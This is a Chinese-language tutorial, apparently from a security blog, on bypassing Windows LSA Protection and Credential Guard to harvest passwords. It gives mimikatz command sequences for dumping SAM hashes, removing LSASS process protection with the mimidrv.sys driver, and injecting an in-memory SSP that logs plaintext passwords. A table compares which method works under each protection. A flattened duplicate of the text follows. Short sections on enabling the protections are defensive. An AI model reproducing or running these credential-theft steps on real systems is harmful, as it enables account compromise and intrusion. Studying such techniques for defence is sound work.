Bypass LSA Protection&Credential Guard获取密码
字数 1395 2025-08-25 22:58:20

Bypass LSA Protection & Credential Guard 获取密码技术详解

1. LSA Protection 绕过技术

1.1 LSA Protection 简介

LSA (Local Security Authority) Protection 是 Windows 8.1 及更高版本引入的安全功能,要求所有加载到 LSA 的插件都必须使用 Microsoft 签名进行数字签名,防止读取内存和不受保护的进程注入代码。

1.2 开启 LSA Protection 方法

通过注册表开启:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f

验证方法:查看系统日志,事件 ID 为 12 - "LSASS.exe 作为受保护的进程启动"

1.3 绕过 LSA Protection 的技术

1.3.1 lsadump::sam 方法

直接从磁盘上的 SAM 读取凭据:

mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam

1.3.2 mimidrv.sys 方法

使用 mimikatz 的驱动程序移除 LSA 保护:

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove

2. Credential Guard 绕过技术

2.1 Credential Guard 简介

Windows 10 和 Server 2016 引入的基于虚拟化技术的安全功能,隔离 lsass 进程为两个部分:正常 LSA 进程和隔离 LSA 进程(在 VSM 中运行)。

2.2 开启 Credential Guard 方法

通过组策略:

  1. 计算机配置 → 管理模板 → 系统 → Device Guard → 打开基于虚拟化的安全
  2. 选择平台安全级别:"安全启动"或"安全启动和 DMA 保护"
  3. 凭据保护配置:"使用 UEFI 锁启用"或"无锁启用"
  4. 执行 gpupdate /force

验证方法:运行 msinfo32.exe,查看"系统摘要"→"已配置基于虚拟化的安全服务"

2.3 绕过 Credential Guard 的技术

2.3.1 lsadump::sam 方法

同样有效:

mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam

2.3.2 misc::memssp 方法

通过内存安装自定义 SSP 记录凭据:

mimikatz # privilege::debug
mimikatz # misc::memssp

新凭据输入后(如锁屏重新登录),会在 c:\windows\system32\mimilsa.log 中记录明文密码

3. 其他补充技术

  1. lsadump::secrets - 从注册表获取 syskey 信息解密
  2. PwDump7
  3. QuarksPwDump

4. 技术对比

方法 LSA Protection Credential Guard 获取内容
sekurlsa::logonpasswords 失败 部分成功(用户不全,无明文) 哈希/部分哈希
lsadump::sam 成功 成功 全部用户哈希
mimidrv.sys 成功 - 完整访问
misc::memssp - 成功 新输入明文

5. 参考资源

  1. Microsoft LSA Protection 文档
  2. Microsoft Credential Guard 文档
  3. Credential Guard 与 Mimikatz
  4. 两种 LSASS 保护选项分析
  5. JPCERT 验证文章
Bypass LSA Protection & Credential Guard 获取密码技术详解 1. LSA Protection 绕过技术 1.1 LSA Protection 简介 LSA (Local Security Authority) Protection 是 Windows 8.1 及更高版本引入的安全功能,要求所有加载到 LSA 的插件都必须使用 Microsoft 签名进行数字签名,防止读取内存和不受保护的进程注入代码。 1.2 开启 LSA Protection 方法 通过注册表开启: 验证方法:查看系统日志,事件 ID 为 12 - "LSASS.exe 作为受保护的进程启动" 1.3 绕过 LSA Protection 的技术 1.3.1 lsadump::sam 方法 直接从磁盘上的 SAM 读取凭据: 1.3.2 mimidrv.sys 方法 使用 mimikatz 的驱动程序移除 LSA 保护: 2. Credential Guard 绕过技术 2.1 Credential Guard 简介 Windows 10 和 Server 2016 引入的基于虚拟化技术的安全功能,隔离 lsass 进程为两个部分:正常 LSA 进程和隔离 LSA 进程(在 VSM 中运行)。 2.2 开启 Credential Guard 方法 通过组策略: 计算机配置 → 管理模板 → 系统 → Device Guard → 打开基于虚拟化的安全 选择平台安全级别:"安全启动"或"安全启动和 DMA 保护" 凭据保护配置:"使用 UEFI 锁启用"或"无锁启用" 执行 gpupdate /force 验证方法:运行 msinfo32.exe ,查看"系统摘要"→"已配置基于虚拟化的安全服务" 2.3 绕过 Credential Guard 的技术 2.3.1 lsadump::sam 方法 同样有效: 2.3.2 misc::memssp 方法 通过内存安装自定义 SSP 记录凭据: 新凭据输入后(如锁屏重新登录),会在 c:\windows\system32\mimilsa.log 中记录明文密码 3. 其他补充技术 lsadump::secrets - 从注册表获取 syskey 信息解密 PwDump7 QuarksPwDump 4. 技术对比 | 方法 | LSA Protection | Credential Guard | 获取内容 | |------|----------------|------------------|----------| | sekurlsa::logonpasswords | 失败 | 部分成功(用户不全,无明文) | 哈希/部分哈希 | | lsadump::sam | 成功 | 成功 | 全部用户哈希 | | mimidrv.sys | 成功 | - | 完整访问 | | misc::memssp | - | 成功 | 新输入明文 | 5. 参考资源 Microsoft LSA Protection 文档 Microsoft Credential Guard 文档 Credential Guard 与 Mimikatz 两种 LSASS 保护选项分析 JPCERT 验证文章